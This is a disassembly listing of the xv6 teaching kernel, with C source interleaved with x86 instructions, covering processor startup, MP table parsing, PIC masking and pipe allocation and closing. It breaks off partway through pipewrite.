80102eb8: e8 83 d1 ff ff call 80100040 <binit> fileinit(); // file table 80102ebd: e8 8e de ff ff call 80100d50 <fileinit> ideinit(); // disk 80102ec2: e8 09 f1 ff ff call 80101fd0 <ideinit> // Write entry code to unused memory at 0x7000. // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102ec7: 83 c4 0c add $0xc,%esp 80102eca: 68 8a 00 00 00 push $0x8a 80102ecf: 68 8c a4 10 80 push $0x8010a48c 80102ed4: 68 00 70 00 80 push $0x80007000 80102ed9: e8 12 16 00 00 call 801044f0 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102ede: 69 05 20 2d 11 80 b0 imul $0xb0,0x80112d20,%eax 80102ee5: 00 00 00 80102ee8: 83 c4 10 add $0x10,%esp 80102eeb: 05 a0 27 11 80 add $0x801127a0,%eax 80102ef0: 39 d8 cmp %ebx,%eax 80102ef2: 76 6f jbe 80102f63 <main+0x103> 80102ef4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(c == mycpu()) // We've started already. 80102ef8: e8 e3 07 00 00 call 801036e0 <mycpu> 80102efd: 39 d8 cmp %ebx,%eax 80102eff: 74 49 je 80102f4a <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102f01: e8 8a f5 ff ff call 80102490 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; 80102f06: 05 00 10 00 00 add $0x1000,%eax *(void(**)(void))(code-8) = mpenter; 80102f0b: c7 05 f8 6f 00 80 40 movl $0x80102e40,0x80006ff8 80102f12: 2e 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102f15: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102f1c: 90 10 00 // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); *(void**)(code-4) = stack + KSTACKSIZE; 80102f1f: a3 fc 6f 00 80 mov %eax,0x80006ffc *(void(**)(void))(code-8) = mpenter; *(int**)(code-12) = (void *) V2P(entrypgdir); lapicstartap(c->apicid, V2P(code)); 80102f24: 0f b6 03 movzbl (%ebx),%eax 80102f27: 83 ec 08 sub $0x8,%esp 80102f2a: 68 00 70 00 00 push $0x7000 80102f2f: 50 push %eax 80102f30: e8 0b f8 ff ff call 80102740 <lapicstartap> 80102f35: 83 c4 10 add $0x10,%esp 80102f38: 90 nop 80102f39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi // wait for cpu to finish mpmain() while(c->started == 0) 80102f40: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102f46: 85 c0 test %eax,%eax 80102f48: 74 f6 je 80102f40 <main+0xe0> // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102f4a: 69 05 20 2d 11 80 b0 imul $0xb0,0x80112d20,%eax 80102f51: 00 00 00 80102f54: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102f5a: 05 a0 27 11 80 add $0x801127a0,%eax 80102f5f: 39 c3 cmp %eax,%ebx 80102f61: 72 95 jb 80102ef8 <main+0x98> tvinit(); // trap vectors binit(); // buffer cache fileinit(); // file table ideinit(); // disk startothers(); // start other processors kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102f63: 83 ec 08 sub $0x8,%esp 80102f66: 68 00 00 00 8e push $0x8e000000 80102f6b: 68 00 00 40 80 push $0x80400000 80102f70: e8 bb f4 ff ff call 80102430 <kinit2> userinit(); // first user process 80102f75: e8 36 08 00 00 call 801037b0 <userinit> mpmain(); // finish this processor's setup 80102f7a: e8 81 fe ff ff call 80102e00 <mpmain> 80102f7f: 90 nop 80102f80 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f80: 55 push %ebp 80102f81: 89 e5 mov %esp,%ebp 80102f83: 57 push %edi 80102f84: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102f85: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f8b: 53 push %ebx uchar *e, *p, *addr; addr = P2V(a); e = addr+len; 80102f8c: 8d 1c 16 lea (%esi,%edx,1),%ebx } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f8f: 83 ec 0c sub $0xc,%esp uchar *e, *p, *addr; addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) 80102f92: 39 de cmp %ebx,%esi 80102f94: 73 48 jae 80102fde <mpsearch1+0x5e> 80102f96: 8d 76 00 lea 0x0(%esi),%esi 80102f99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102fa0: 83 ec 04 sub $0x4,%esp 80102fa3: 8d 7e 10 lea 0x10(%esi),%edi 80102fa6: 6a 04 push $0x4 80102fa8: 68 18 74 10 80 push $0x80107418 80102fad: 56 push %esi 80102fae: e8 dd 14 00 00 call 80104490 <memcmp> 80102fb3: 83 c4 10 add $0x10,%esp 80102fb6: 85 c0 test %eax,%eax 80102fb8: 75 1e jne 80102fd8 <mpsearch1+0x58> 80102fba: 8d 7e 10 lea 0x10(%esi),%edi 80102fbd: 89 f2 mov %esi,%edx 80102fbf: 31 c9 xor %ecx,%ecx 80102fc1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { int i, sum; sum = 0; for(i=0; i<len; i++) sum += addr[i]; 80102fc8: 0f b6 02 movzbl (%edx),%eax 80102fcb: 83 c2 01 add $0x1,%edx 80102fce: 01 c1 add %eax,%ecx sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 80102fd0: 39 fa cmp %edi,%edx 80102fd2: 75 f4 jne 80102fc8 <mpsearch1+0x48> uchar *e, *p, *addr; addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102fd4: 84 c9 test %cl,%cl 80102fd6: 74 10 je 80102fe8 <mpsearch1+0x68> { uchar *e, *p, *addr; addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) 80102fd8: 39 fb cmp %edi,%ebx 80102fda: 89 fe mov %edi,%esi 80102fdc: 77 c2 ja 80102fa0 <mpsearch1+0x20> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) return (struct mp*)p; return 0; } 80102fde: 8d 65 f4 lea -0xc(%ebp),%esp addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) return (struct mp*)p; return 0; 80102fe1: 31 c0 xor %eax,%eax } 80102fe3: 5b pop %ebx 80102fe4: 5e pop %esi 80102fe5: 5f pop %edi 80102fe6: 5d pop %ebp 80102fe7: c3 ret 80102fe8: 8d 65 f4 lea -0xc(%ebp),%esp 80102feb: 89 f0 mov %esi,%eax 80102fed: 5b pop %ebx 80102fee: 5e pop %esi 80102fef: 5f pop %edi 80102ff0: 5d pop %ebp 80102ff1: c3 ret 80102ff2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102ff9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103000 <mpinit>: return conf; } void mpinit(void) { 80103000: 55 push %ebp 80103001: 89 e5 mov %esp,%ebp 80103003: 57 push %edi 80103004: 56 push %esi 80103005: 53 push %ebx 80103006: 83 ec 1c sub $0x1c,%esp uchar *bda; uint p; struct mp *mp; bda = (uchar *) P2V(0x400); if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80103009: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80103010: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80103017: c1 e0 08 shl $0x8,%eax 8010301a: 09 d0 or %edx,%eax 8010301c: c1 e0 04 shl $0x4,%eax 8010301f: 85 c0 test %eax,%eax 80103021: 75 1b jne 8010303e <mpinit+0x3e> if((mp = mpsearch1(p, 1024))) return mp; } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; if((mp = mpsearch1(p-1024, 1024))) 80103023: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 8010302a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80103031: c1 e0 08 shl $0x8,%eax 80103034: 09 d0 or %edx,%eax 80103036: c1 e0 0a shl $0xa,%eax 80103039: 2d 00 04 00 00 sub $0x400,%eax uint p; struct mp *mp; bda = (uchar *) P2V(0x400); if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ if((mp = mpsearch1(p, 1024))) 8010303e: ba 00 04 00 00 mov $0x400,%edx 80103043: e8 38 ff ff ff call 80102f80 <mpsearch1> 80103048: 85 c0 test %eax,%eax 8010304a: 89 45 e4 mov %eax,-0x1c(%ebp) 8010304d: 0f 84 37 01 00 00 je 8010318a <mpinit+0x18a> mpconfig(struct mp **pmp) { struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103053: 8b 45 e4 mov -0x1c(%ebp),%eax 80103056: 8b 58 04 mov 0x4(%eax),%ebx 80103059: 85 db test %ebx,%ebx 8010305b: 0f 84 43 01 00 00 je 801031a4 <mpinit+0x1a4> return 0; conf = (struct mpconf*) P2V((uint) mp->physaddr); 80103061: 8d b3 00 00 00 80 lea -0x80000000(%ebx),%esi if(memcmp(conf, "PCMP", 4) != 0) 80103067: 83 ec 04 sub $0x4,%esp 8010306a: 6a 04 push $0x4 8010306c: 68 1d 74 10 80 push $0x8010741d 80103071: 56 push %esi 80103072: e8 19 14 00 00 call 80104490 <memcmp> 80103077: 83 c4 10 add $0x10,%esp 8010307a: 85 c0 test %eax,%eax 8010307c: 0f 85 22 01 00 00 jne 801031a4 <mpinit+0x1a4> return 0; if(conf->version != 1 && conf->version != 4) 80103082: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax 80103089: 3c 01 cmp $0x1,%al 8010308b: 74 08 je 80103095 <mpinit+0x95> 8010308d: 3c 04 cmp $0x4,%al 8010308f: 0f 85 0f 01 00 00 jne 801031a4 <mpinit+0x1a4> return 0; if(sum((uchar*)conf, conf->length) != 0) 80103095: 0f b7 bb 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edi sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 8010309c: 85 ff test %edi,%edi 8010309e: 74 21 je 801030c1 <mpinit+0xc1> 801030a0: 31 d2 xor %edx,%edx 801030a2: 31 c0 xor %eax,%eax 801030a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sum += addr[i]; 801030a8: 0f b6 8c 03 00 00 00 movzbl -0x80000000(%ebx,%eax,1),%ecx 801030af: 80 sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 801030b0: 83 c0 01 add $0x1,%eax sum += addr[i]; 801030b3: 01 ca add %ecx,%edx sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 801030b5: 39 c7 cmp %eax,%edi 801030b7: 75 ef jne 801030a8 <mpinit+0xa8> conf = (struct mpconf*) P2V((uint) mp->physaddr); if(memcmp(conf, "PCMP", 4) != 0) return 0; if(conf->version != 1 && conf->version != 4) return 0; if(sum((uchar*)conf, conf->length) != 0) 801030b9: 84 d2 test %dl,%dl 801030bb: 0f 85 e3 00 00 00 jne 801031a4 <mpinit+0x1a4> struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 801030c1: 85 f6 test %esi,%esi 801030c3: 0f 84 db 00 00 00 je 801031a4 <mpinit+0x1a4> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 801030c9: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax 801030cf: a3 9c 26 11 80 mov %eax,0x8011269c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801030d4: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx 801030db: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); ismp = 1; 801030e1: bb 01 00 00 00 mov $0x1,%ebx lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801030e6: 01 d6 add %edx,%esi 801030e8: 90 nop 801030e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801030f0: 39 c6 cmp %eax,%esi 801030f2: 76 23 jbe 80103117 <mpinit+0x117> 801030f4: 0f b6 10 movzbl (%eax),%edx switch(*p){ 801030f7: 80 fa 04 cmp $0x4,%dl 801030fa: 0f 87 c0 00 00 00 ja 801031c0 <mpinit+0x1c0> 80103100: ff 24 95 5c 74 10 80 jmp *-0x7fef8ba4(,%edx,4) 80103107: 89 f6 mov %esi,%esi 80103109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 80103110: 83 c0 08 add $0x8,%eax if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 80103113: 39 c6 cmp %eax,%esi 80103115: 77 dd ja 801030f4 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 80103117: 85 db test %ebx,%ebx 80103119: 0f 84 92 00 00 00 je 801031b1 <mpinit+0x1b1> panic("Didn't find a suitable machine"); if(mp->imcrp){ 8010311f: 8b 45 e4 mov -0x1c(%ebp),%eax 80103122: 80 78 0c 00 cmpb $0x0,0xc(%eax) 80103126: 74 15 je 8010313d <mpinit+0x13d> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80103128: ba 22 00 00 00 mov $0x22,%edx 8010312d: b8 70 00 00 00 mov $0x70,%eax 80103132: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80103133: ba 23 00 00 00 mov $0x23,%edx 80103138: ec in (%dx),%al } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80103139: 83 c8 01 or $0x1,%eax 8010313c: ee out %al,(%dx) // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. } } 8010313d: 8d 65 f4 lea -0xc(%ebp),%esp 80103140: 5b pop %ebx 80103141: 5e pop %esi 80103142: 5f pop %edi 80103143: 5d pop %ebp 80103144: c3 ret 80103145: 8d 76 00 lea 0x0(%esi),%esi lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ switch(*p){ case MPPROC: proc = (struct mpproc*)p; if(ncpu < NCPU) { 80103148: 8b 0d 20 2d 11 80 mov 0x80112d20,%ecx 8010314e: 83 f9 07 cmp $0x7,%ecx 80103151: 7f 19 jg 8010316c <mpinit+0x16c> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 80103153: 0f b6 50 01 movzbl 0x1(%eax),%edx 80103157: 69 f9 b0 00 00 00 imul $0xb0,%ecx,%edi ncpu++; 8010315d: 83 c1 01 add $0x1,%ecx 80103160: 89 0d 20 2d 11 80 mov %ecx,0x80112d20 for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ switch(*p){ case MPPROC: proc = (struct mpproc*)p; if(ncpu < NCPU) { cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 80103166: 88 97 a0 27 11 80 mov %dl,-0x7feed860(%edi) ncpu++; } p += sizeof(struct mpproc); 8010316c: 83 c0 14 add $0x14,%eax continue; 8010316f: e9 7c ff ff ff jmp 801030f0 <mpinit+0xf0> 80103174: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi case MPIOAPIC: ioapic = (struct mpioapic*)p; ioapicid = ioapic->apicno; 80103178: 0f b6 50 01 movzbl 0x1(%eax),%edx p += sizeof(struct mpioapic); 8010317c: 83 c0 08 add $0x8,%eax } p += sizeof(struct mpproc); continue; case MPIOAPIC: ioapic = (struct mpioapic*)p; ioapicid = ioapic->apicno; 8010317f: 88 15 80 27 11 80 mov %dl,0x80112780 p += sizeof(struct mpioapic); continue; 80103185: e9 66 ff ff ff jmp 801030f0 <mpinit+0xf0> } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; if((mp = mpsearch1(p-1024, 1024))) return mp; } return mpsearch1(0xF0000, 0x10000); 8010318a: ba 00 00 01 00 mov $0x10000,%edx 8010318f: b8 00 00 0f 00 mov $0xf0000,%eax 80103194: e8 e7 fd ff ff call 80102f80 <mpsearch1> mpconfig(struct mp **pmp) { struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103199: 85 c0 test %eax,%eax } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; if((mp = mpsearch1(p-1024, 1024))) return mp; } return mpsearch1(0xF0000, 0x10000); 8010319b: 89 45 e4 mov %eax,-0x1c(%ebp) mpconfig(struct mp **pmp) { struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 8010319e: 0f 85 af fe ff ff jne 80103053 <mpinit+0x53> struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); 801031a4: 83 ec 0c sub $0xc,%esp 801031a7: 68 22 74 10 80 push $0x80107422 801031ac: e8 bf d1 ff ff call 80100370 <panic> ismp = 0; break; } } if(!ismp) panic("Didn't find a suitable machine"); 801031b1: 83 ec 0c sub $0xc,%esp 801031b4: 68 3c 74 10 80 push $0x8010743c 801031b9: e8 b2 d1 ff ff call 80100370 <panic> 801031be: 66 90 xchg %ax,%ax case MPIOINTR: case MPLINTR: p += 8; continue; default: ismp = 0; 801031c0: 31 db xor %ebx,%ebx 801031c2: e9 30 ff ff ff jmp 801030f7 <mpinit+0xf7> 801031c7: 66 90 xchg %ax,%ax 801031c9: 66 90 xchg %ax,%ax 801031cb: 66 90 xchg %ax,%ax 801031cd: 66 90 xchg %ax,%ax 801031cf: 90 nop 801031d0 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 801031d0: 55 push %ebp 801031d1: ba 21 00 00 00 mov $0x21,%edx 801031d6: b8 ff ff ff ff mov $0xffffffff,%eax 801031db: 89 e5 mov %esp,%ebp 801031dd: ee out %al,(%dx) 801031de: ba a1 00 00 00 mov $0xa1,%edx 801031e3: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 801031e4: 5d pop %ebp 801031e5: c3 ret 801031e6: 66 90 xchg %ax,%ax 801031e8: 66 90 xchg %ax,%ax 801031ea: 66 90 xchg %ax,%ax 801031ec: 66 90 xchg %ax,%ax 801031ee: 66 90 xchg %ax,%ax 801031f0 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 801031f0: 55 push %ebp 801031f1: 89 e5 mov %esp,%ebp 801031f3: 57 push %edi 801031f4: 56 push %esi 801031f5: 53 push %ebx 801031f6: 83 ec 0c sub $0xc,%esp 801031f9: 8b 75 08 mov 0x8(%ebp),%esi 801031fc: 8b 5d 0c mov 0xc(%ebp),%ebx struct pipe *p; p = 0; *f0 = *f1 = 0; 801031ff: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103205: c7 06 00 00 00 00 movl $0x0,(%esi) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010320b: e8 60 db ff ff call 80100d70 <filealloc> 80103210: 85 c0 test %eax,%eax 80103212: 89 06 mov %eax,(%esi) 80103214: 0f 84 a8 00 00 00 je 801032c2 <pipealloc+0xd2> 8010321a: e8 51 db ff ff call 80100d70 <filealloc> 8010321f: 85 c0 test %eax,%eax 80103221: 89 03 mov %eax,(%ebx) 80103223: 0f 84 87 00 00 00 je 801032b0 <pipealloc+0xc0> goto bad; if((p = (struct pipe*)kalloc()) == 0) 80103229: e8 62 f2 ff ff call 80102490 <kalloc> 8010322e: 85 c0 test %eax,%eax 80103230: 89 c7 mov %eax,%edi 80103232: 0f 84 b0 00 00 00 je 801032e8 <pipealloc+0xf8> goto bad; p->readopen = 1; p->writeopen = 1; p->nwrite = 0; p->nread = 0; initlock(&p->lock, "pipe"); 80103238: 83 ec 08 sub $0x8,%esp *f0 = *f1 = 0; if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) goto bad; if((p = (struct pipe*)kalloc()) == 0) goto bad; p->readopen = 1; 8010323b: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 80103242: 00 00 00 p->writeopen = 1; 80103245: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 8010324c: 00 00 00 p->nwrite = 0; 8010324f: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 80103256: 00 00 00 p->nread = 0; 80103259: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 80103260: 00 00 00 initlock(&p->lock, "pipe"); 80103263: 68 70 74 10 80 push $0x80107470 80103268: 50 push %eax 80103269: e8 72 0f 00 00 call 801041e0 <initlock> (*f0)->type = FD_PIPE; 8010326e: 8b 06 mov (%esi),%eax (*f0)->pipe = p; (*f1)->type = FD_PIPE; (*f1)->readable = 0; (*f1)->writable = 1; (*f1)->pipe = p; return 0; 80103270: 83 c4 10 add $0x10,%esp p->readopen = 1; p->writeopen = 1; p->nwrite = 0; p->nread = 0; initlock(&p->lock, "pipe"); (*f0)->type = FD_PIPE; 80103273: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 80103279: 8b 06 mov (%esi),%eax 8010327b: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 8010327f: 8b 06 mov (%esi),%eax 80103281: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 80103285: 8b 06 mov (%esi),%eax 80103287: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 8010328a: 8b 03 mov (%ebx),%eax 8010328c: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 80103292: 8b 03 mov (%ebx),%eax 80103294: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80103298: 8b 03 mov (%ebx),%eax 8010329a: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 8010329e: 8b 03 mov (%ebx),%eax 801032a0: 89 78 0c mov %edi,0xc(%eax) if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 801032a3: 8d 65 f4 lea -0xc(%ebp),%esp (*f0)->pipe = p; (*f1)->type = FD_PIPE; (*f1)->readable = 0; (*f1)->writable = 1; (*f1)->pipe = p; return 0; 801032a6: 31 c0 xor %eax,%eax if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 801032a8: 5b pop %ebx 801032a9: 5e pop %esi 801032aa: 5f pop %edi 801032ab: 5d pop %ebp 801032ac: c3 ret 801032ad: 8d 76 00 lea 0x0(%esi),%esi //PAGEBREAK: 20 bad: if(p) kfree((char*)p); if(*f0) 801032b0: 8b 06 mov (%esi),%eax 801032b2: 85 c0 test %eax,%eax 801032b4: 74 1e je 801032d4 <pipealloc+0xe4> fileclose(*f0); 801032b6: 83 ec 0c sub $0xc,%esp 801032b9: 50 push %eax 801032ba: e8 71 db ff ff call 80100e30 <fileclose> 801032bf: 83 c4 10 add $0x10,%esp if(*f1) 801032c2: 8b 03 mov (%ebx),%eax 801032c4: 85 c0 test %eax,%eax 801032c6: 74 0c je 801032d4 <pipealloc+0xe4> fileclose(*f1); 801032c8: 83 ec 0c sub $0xc,%esp 801032cb: 50 push %eax 801032cc: e8 5f db ff ff call 80100e30 <fileclose> 801032d1: 83 c4 10 add $0x10,%esp return -1; } 801032d4: 8d 65 f4 lea -0xc(%ebp),%esp kfree((char*)p); if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; 801032d7: b8 ff ff ff ff mov $0xffffffff,%eax } 801032dc: 5b pop %ebx 801032dd: 5e pop %esi 801032de: 5f pop %edi 801032df: 5d pop %ebp 801032e0: c3 ret 801032e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi //PAGEBREAK: 20 bad: if(p) kfree((char*)p); if(*f0) 801032e8: 8b 06 mov (%esi),%eax 801032ea: 85 c0 test %eax,%eax 801032ec: 75 c8 jne 801032b6 <pipealloc+0xc6> 801032ee: eb d2 jmp 801032c2 <pipealloc+0xd2> 801032f0 <pipeclose>: return -1; } void pipeclose(struct pipe *p, int writable) { 801032f0: 55 push %ebp 801032f1: 89 e5 mov %esp,%ebp 801032f3: 56 push %esi 801032f4: 53 push %ebx 801032f5: 8b 5d 08 mov 0x8(%ebp),%ebx 801032f8: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 801032fb: 83 ec 0c sub $0xc,%esp 801032fe: 53 push %ebx 801032ff: e8 3c 10 00 00 call 80104340 <acquire> if(writable){ 80103304: 83 c4 10 add $0x10,%esp 80103307: 85 f6 test %esi,%esi 80103309: 74 45 je 80103350 <pipeclose+0x60> p->writeopen = 0; wakeup(&p->nread); 8010330b: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 80103311: 83 ec 0c sub $0xc,%esp void pipeclose(struct pipe *p, int writable) { acquire(&p->lock); if(writable){ p->writeopen = 0; 80103314: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 8010331b: 00 00 00 wakeup(&p->nread); 8010331e: 50 push %eax 8010331f: e8 bc 0b 00 00 call 80103ee0 <wakeup> 80103324: 83 c4 10 add $0x10,%esp } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 80103327: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010332d: 85 d2 test %edx,%edx 8010332f: 75 0a jne 8010333b <pipeclose+0x4b> 80103331: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 80103337: 85 c0 test %eax,%eax 80103339: 74 35 je 80103370 <pipeclose+0x80> release(&p->lock); kfree((char*)p); } else release(&p->lock); 8010333b: 89 5d 08 mov %ebx,0x8(%ebp) } 8010333e: 8d 65 f8 lea -0x8(%ebp),%esp 80103341: 5b pop %ebx 80103342: 5e pop %esi 80103343: 5d pop %ebp } if(p->readopen == 0 && p->writeopen == 0){ release(&p->lock); kfree((char*)p); } else release(&p->lock); 80103344: e9 a7 10 00 00 jmp 801043f0 <release> 80103349: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(writable){ p->writeopen = 0; wakeup(&p->nread); } else { p->readopen = 0; wakeup(&p->nwrite); 80103350: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax 80103356: 83 ec 0c sub $0xc,%esp acquire(&p->lock); if(writable){ p->writeopen = 0; wakeup(&p->nread); } else { p->readopen = 0; 80103359: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 80103360: 00 00 00 wakeup(&p->nwrite); 80103363: 50 push %eax 80103364: e8 77 0b 00 00 call 80103ee0 <wakeup> 80103369: 83 c4 10 add $0x10,%esp 8010336c: eb b9 jmp 80103327 <pipeclose+0x37> 8010336e: 66 90 xchg %ax,%ax } if(p->readopen == 0 && p->writeopen == 0){ release(&p->lock); 80103370: 83 ec 0c sub $0xc,%esp 80103373: 53 push %ebx 80103374: e8 77 10 00 00 call 801043f0 <release> kfree((char*)p); 80103379: 89 5d 08 mov %ebx,0x8(%ebp) 8010337c: 83 c4 10 add $0x10,%esp } else release(&p->lock); } 8010337f: 8d 65 f8 lea -0x8(%ebp),%esp 80103382: 5b pop %ebx 80103383: 5e pop %esi 80103384: 5d pop %ebp p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ release(&p->lock); kfree((char*)p); 80103385: e9 56 ef ff ff jmp 801022e0 <kfree> 8010338a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103390 <pipewrite>: } //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 80103390: 55 push %ebp 80103391: 89 e5 mov %esp,%ebp 80103393: 57 push %edi 80103394: 56 push %esi 80103395: 53 push %ebx 80103396: 83 ec 28 sub $0x28,%esp 80103399: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 8010339c: 53 push %ebx 8010339d: e8 9e 0f 00 00 call 80104340 <acquire> for(i = 0; i < n; i++){ 801033a2: 8b 45 10 mov 0x10(%ebp),%eax 801033a5: 83 c4 10 add $0x10,%esp 801033a8: 85 c0 test %eax,%eax 801033aa: 0f 8e b9 00 00 00 jle 80103469 <pipewrite+0xd9> 801033b0: 8b 4d 0c mov 0xc(%ebp),%ecx 801033b3: 8b 83 38 02 00 00 mov 